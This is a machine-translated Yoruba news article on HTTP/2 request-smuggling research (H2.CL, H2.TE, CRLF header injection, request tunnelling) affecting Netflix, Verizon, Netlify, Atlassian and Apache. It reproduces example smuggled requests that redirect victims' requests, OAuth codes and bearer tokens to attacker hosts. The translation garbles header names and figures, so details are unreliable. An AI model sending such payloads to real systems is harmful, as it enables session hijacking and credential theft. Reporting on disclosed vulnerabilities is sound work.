Ikọlu tuntun lori awọn eto ẹhin iwaju-ipari ti o fun ọ laaye lati gbe sinu awọn ibeere

Awọn eto wẹẹbu ninu eyiti iwaju iwaju gba awọn asopọ nipasẹ HTTP/2 ati gbigbe si ẹhin nipasẹ HTTP/1.1 ti farahan si iyatọ tuntun ti ikọlu Ibeere HTTP, eyiti o fun laaye, nipa fifiranṣẹ awọn ibeere alabara ti a ṣe apẹrẹ pataki, lati lọ sinu akoonu naa. ti awọn ibeere lati ọdọ awọn olumulo miiran ni ilọsiwaju ni ṣiṣan kanna laarin iwaju ati ẹhin. A le lo ikọlu naa lati fi koodu JavaScript irira sinu igba kan pẹlu aaye ti o tọ, awọn eto iṣakoso iwọle fori, ati idilọwọ awọn ayeraye ijẹrisi.

Iṣoro naa ni ipa lori awọn aṣoju wẹẹbu, awọn iwọntunwọnsi fifuye, awọn iyara wẹẹbu, awọn eto ifijiṣẹ akoonu ati awọn atunto miiran ninu eyiti awọn ibeere ti wa ni darí ni ibamu si ero-ipari-ipari iwaju. Onkọwe ti iwadii ṣe afihan agbara lati kọlu awọn eto lori Netflix, Verizon, Bitbucket, Netlify CDN ati Atlassian, ati gba $ 56 ni awọn eto ẹbun ailagbara. Iṣoro naa tun ti jẹrisi ni awọn ọja Nẹtiwọọki F5. Ni apakan ọrọ naa kan mod_proxy ni olupin Apache http (CVE-2021-33193), atunṣe ni a nireti ni ẹya 2.4.49 (awọn olupilẹṣẹ ti gba iwifunni ti ọran naa ni ibẹrẹ May ati gba awọn oṣu 3 lati ṣatunṣe). Ni nginx, agbara lati ṣalaye “Ipari-Akoonu” ati awọn akọle “Iyipada-Iyipada” ni akoko kanna ti dina ni itusilẹ to kẹhin (1.21.1). Awọn irinṣẹ ikọlu ti ti ṣafikun tẹlẹ si ohun elo irinṣẹ Burp ati pe o wa bi itẹsiwaju Intruder Turbo.

Ilana iṣiṣẹ ti ọna tuntun ti awọn ibeere wiwọ sinu ijabọ jẹ iru si ailagbara ti a damọ nipasẹ oniwadi kanna ni ọdun meji sẹhin, ṣugbọn opin si awọn iwaju iwaju ti o gba awọn ibeere nipasẹ HTTP/1.1. Ranti pe ninu ero iwaju-ẹhin iwaju, awọn ibeere alabara gba nipasẹ ipade afikun - frontend, eyiti o ṣe agbekalẹ asopọ TCP gigun kan pẹlu ẹhin ti o ṣe ilana awọn ibeere taara. Nipasẹ asopọ ti o wọpọ, awọn ibeere lati ọdọ awọn olumulo oriṣiriṣi ni a maa n gbejade, eyiti o tẹle ẹwọn kan lẹhin ekeji, ti o yapa nipasẹ ilana HTTP.

Ikọlu “Smuggling Ibeere HTTP” Ayebaye ti da lori otitọ pe awọn iwaju ati awọn ẹhin ẹhin tumọ lilo awọn akọle HTTP “Ipari-Akoonu” (pinnu iwọn lapapọ ti data ninu ibeere naa) ati “Fififipamọ Gbigbe: chunked” ( ngbanilaaye gbigbe data ni awọn apakan) yatọ. Fun apẹẹrẹ, ti iwaju ba ṣe atilẹyin “Ipari-Akoonu” nikan ṣugbọn o kọju si “Iyipada-Iyipada: chunked”, lẹhinna ikọlu le fi ibeere ranṣẹ pe awọn mejeeji ni “Ipari-Akoonu” ati awọn akọle “Gbigbe lọ si ibomii: chunked”, ṣugbọn awọn iwọn jẹ "Akoonu-Ipari" ko baramu awọn iwọn ti awọn chunked pq. Ni ọran yii, iwaju iwaju yoo ṣe ilana ati ṣe atunṣe ibeere naa ni ibamu si “Ipari-Akoonu”, ati pe ẹhin yoo duro fun bulọki lati pari ti o da lori “Iyipada-iyipada: chunked” ati iru ti o ku ti ibeere ikọlu yoo jẹ. ni ibere ti awọn ajeji ìbéèrè zqwq tókàn.

Ko dabi HTTP/1.1 ilana ọrọ, eyiti o ṣe itupalẹ ni ipele laini, HTTP/2 jẹ ilana alakomeji ati ṣe afọwọyi awọn bulọọki data ti iwọn ti a ti pinnu tẹlẹ. Bibẹẹkọ, HTTP/2 nlo awọn akọle afọwọṣe ti o baamu si awọn akọle HTTP deede. Nigbati o ba n ṣe ajọṣepọ pẹlu ẹhin nipasẹ HTTP / 1.1, iwaju iwaju tumọ awọn akọle afarape wọnyi si awọn akọle HTTP/1.1 HTTP ti o jọra. Iṣoro naa ni pe ẹhin ṣe awọn ipinnu nipa sisọ ṣiṣan ti o da lori awọn akọle HTTP ti a ṣeto nipasẹ iwaju iwaju, laisi mimọ awọn aye ti ibeere atilẹba.

Pẹlu ni irisi awọn akọle pseudo, awọn iye “ipari-akoonu” ati “iyipada-gbigbe” le jẹ gbigbe, botilẹjẹpe wọn ko lo ni HTTP / 2, nitori iwọn gbogbo data ti pinnu ni aaye lọtọ. Bibẹẹkọ, ninu ilana ti yiyipada ibeere HTTP/2 kan si HTTP/1.1, awọn akọsori wọnyi ti gbe ati pe o le daru ẹhin naa. Awọn aṣayan ikọlu akọkọ meji wa: H2.TE ati H2.CL, ninu eyiti ẹhin ẹhin jẹ ṣina nipasẹ fifi koodu gbigbe ti ko tọ tabi iye gigun akoonu ti ko ni ibamu si iwọn gangan ti ara ibeere ti o gba nipasẹ iwaju iwaju nipasẹ HTTP/2 Ilana.

Ikọlu tuntun lori awọn eto ẹhin iwaju-ipari ti o fun ọ laaye lati gbe sinu awọn ibeere

Gẹgẹbi apẹẹrẹ ti ikọlu H2.CL, akọsori pseudo-gigun akoonu jẹ aiṣedeede nigba fifiranṣẹ ibeere HTTP/2 kan si Netflix. Ibeere yii ṣe abajade ni afikun ti akọsori HTTP Akoonu-ipari nigba ti n wọle si ẹhin nipasẹ HTTP/1.1, ṣugbọn niwọn bi iwọn ti o wa ninu Ipari-Akoonu ko kere ju iwọn gangan lọ, diẹ ninu data ti o wa ninu iru ni a ṣe ilana bi ibẹrẹ ti awọn tókàn ìbéèrè.

Fun apẹẹrẹ, ibeere HTTP/2 kan: Ọna POST: ipa ọna / n: aṣẹ www.netflix.com akoonu-ipari 4 abcdGET /n HTTP/1.1 Ogun: 02.rs?x.netflix.com Foo: bar

Yoo fi ibeere ranṣẹ si ẹhin: POST /n HTTP/1.1 Olugbalejo: www.netflix.com Akoonu-Ipari: 4 abcdGET /n HTTP/1.1 Ogun: 02.rs?x.netflix.com Foo: bar

Niwọn igba ti a ti ṣeto Ipari-Akoonu si 4, ẹhin yoo gba “abcd” nikan gẹgẹbi ara ibeere, ati ṣe ilana iyokù “GET / n HTTP/1.1…” gẹgẹbi ibẹrẹ ti ibeere atẹle ti a dè si olumulo miiran. Gẹgẹ bẹ, ṣiṣan naa yoo jade ni amuṣiṣẹpọ, ati ni idahun si ibeere atẹle, abajade ti sisẹ ibeere iro ni yoo pada. Ninu ọran ti Netflix, titọkasi agbalejo ẹni-kẹta ninu “Olulejo:” akọsori ni ibeere ti o ni iyọrisi esi “Ipo: https://02.rs?x.netflix.com/n” si alabara ati gba laaye akoonu lainidii lati kọja si alabara, pẹlu ṣiṣe koodu JavaScript rẹ ni aaye ti Netflix.

Iyatọ keji ti ikọlu (H2.TE) ni nkan ṣe pẹlu fidipo ti akọle “Transfer-Encoding: chunked” akọsori. Lilo fifi koodu-iyipada-akọsori-akọle ni HTTP/2 jẹ eewọ nipasẹ sipesifikesonu ati awọn ibeere pẹlu rẹ ti wa ni aṣẹ lati ṣe itọju bi aṣiṣe. Bi o ti lẹ jẹ pe eyi, diẹ ninu awọn imuṣẹ iwaju foju foju si ibeere yii ati gba laaye lilo gbigbe-iyipada-akọsori-akọsori ni HTTP/2, eyiti o tumọ si akọsori HTTP kan ti o jọra. Ti akọsori “Transfer-Encoding” ba wa, ẹhin le gba bi pataki ki o ṣe itupalẹ data ni awọn apakan ni ipo “chunked” ni lilo awọn bulọọki ti awọn titobi oriṣiriṣi ni ọna kika “{size}\r\n{block} \r\n{size} \r\n{block}\r\n0" láìka ìpín àkọ́kọ́ nípa ìtóbi gbogbo.

Iwaju iru aafo bẹẹ ni a ṣe afihan nipasẹ apẹẹrẹ ti Verizon. Sibẹsibẹ, iṣoro naa kan oju-ọna ijẹrisi ati eto iṣakoso akoonu, eyiti o tun lo nipasẹ awọn aaye bii Huffington Post ati Engadget. Fun apẹẹrẹ, ibeere alabara kan lori HTTP/2: ọna POST :pato /identitfy/XUI:authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Ogun: psres.net Akoonu-Ipari: 10 x=

Ti o fa ibeere HTTP/1.1 lati ṣe afẹyinti: POST /identity/XUI HTTP/1.1 Ogun: id.b2b.oath.com Akoonu-Ipari: 66 Gbigbe-Eyi koodu: chunked 0 GET /oops HTTP/1.1 Ogun: psres.net Akoonu- Gigun : 10x=

Ẹyin naa, lapapọ, kọjukọ akọsori “Akoonu-Ipari” o si ṣe pipin ninu ṣiṣan ti o da lori “Iyipada-Iyipada: chunked”. Ni iṣe, ikọlu jẹ ki o ṣee ṣe lati ṣe atunṣe awọn ibeere olumulo si aaye rẹ, pẹlu awọn ibeere intercepting ti o ni ibatan si ijẹrisi OAuth, awọn paramita eyiti eyiti o han ninu akọsori Atọka, bakanna bi kikojọpọ igba ijẹrisi ati pilẹṣẹ fifiranṣẹ awọn iwe-ẹri nipasẹ olumulo olumulo. eto si awọn attacker ká ogun. GET /b2blanding/show/oops HTTP/1.1 Ogun: psres.net Referer: https://id.b2b.oath.com/?…&code=aṣiri GET / HTTP/1.1 Olugbalejo: psres.net Aṣẹ: Olumu eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Lati kọlu awọn imuse HTTP/2 ti ko gba laaye ni pato iru-iyipada-iyipada-akọsori-akọsori, ọna miiran ti dabaa eyiti o kan fidipo akọsori “Iyipada-Iyipada” nipa fifi si awọn akọle pseudo-miran ti o ya sọtọ nipasẹ ohun kikọ laini tuntun (nigbati o ba yipada). si HTTP/1.1 ninu ọran yii, awọn akọle HTTP lọtọ meji ti ṣẹda).

Fun apẹẹrẹ, Atlassian Jira ati Netlify CDN (ti a lo lati sin oju-iwe ibẹrẹ Mozilla ni Firefox) ni ipa nipasẹ iṣoro yii. Ni pataki, ibeere HTTP/2: Ọna POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Gbalejo : evil-netlify-domain\r\n Àkóónú-Ìgùn: 5\r\n \r\nx=

ṣẹlẹ HTTP/1.1 POST / HTTP/1.1 ìbéèrè lati fi ranṣẹ si ẹyìn \ r\n Olugbalejo: start.mozilla.org\r\n Foo: b\r\n Gbigbe-Iyipada: chunked\r\n Akoonu- Gigun: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Olugbalejo: evil-netlify-domain\r\n Akoonu-Ipari: 5\r\n \ r\nx=

Aṣayan miiran fun rirọpo akọsori "Transfer-Encoding" ni lati so mọ orukọ akọsori-ikọkọ miiran tabi si okun pẹlu ọna ibeere. Fun apẹẹrẹ, nigbati o ba n wọle si Atlassian Jira, orukọ apseudo-header "foo: bar \ r\ntransfer-encoding" pẹlu iye "chunked" yorisi afikun ti awọn akọle HTTP "foo: bar" ati "fififipamọ-gbigbe. : chunked", ati titosi ni pseudo-akọsori ": ọna" ti iye "GET / HTTP/1.1 \ r\n Gbigbe-iyipada: chunked" ni a tumọ si "GET / HTTP/1.1 \ r\n fifi koodu gbigbe: chunked" .

Oluwadi ti o ṣe idanimọ iṣoro naa tun dabaa ilana ilana tunneling ibeere kan lati kọlu awọn iwaju iwaju, ninu eyiti a ti fi idi asopọ lọtọ si ẹhin fun adiresi IP kọọkan ati ijabọ ti awọn olumulo oriṣiriṣi ko ni idapọ. Ilana ti a dabaa ko gba ọ laaye lati laja ni awọn ibeere awọn olumulo miiran, ṣugbọn o jẹ ki o ṣee ṣe lati majele kaṣe pinpin, eyiti o ni ipa lori sisẹ awọn ibeere miiran, ati pe o fun ọ laaye lati ṣe aropo ti awọn akọle HTTP inu ti a lo lati gbe alaye iṣẹ lati Iwaju iwaju si ẹhin (fun apẹẹrẹ, nigbati ijẹrisi ni ẹgbẹ iwaju ni iru awọn akọle le fi alaye ranṣẹ nipa olumulo lọwọlọwọ si ẹhin). Gẹgẹbi apẹẹrẹ ti lilo ọna ni iṣe, lilo majele kaṣe, o ṣee ṣe lati ni iṣakoso lori awọn oju-iwe ni iṣẹ Bitbucket.

orisun: opennet.ru

Fi ọrọìwòye kun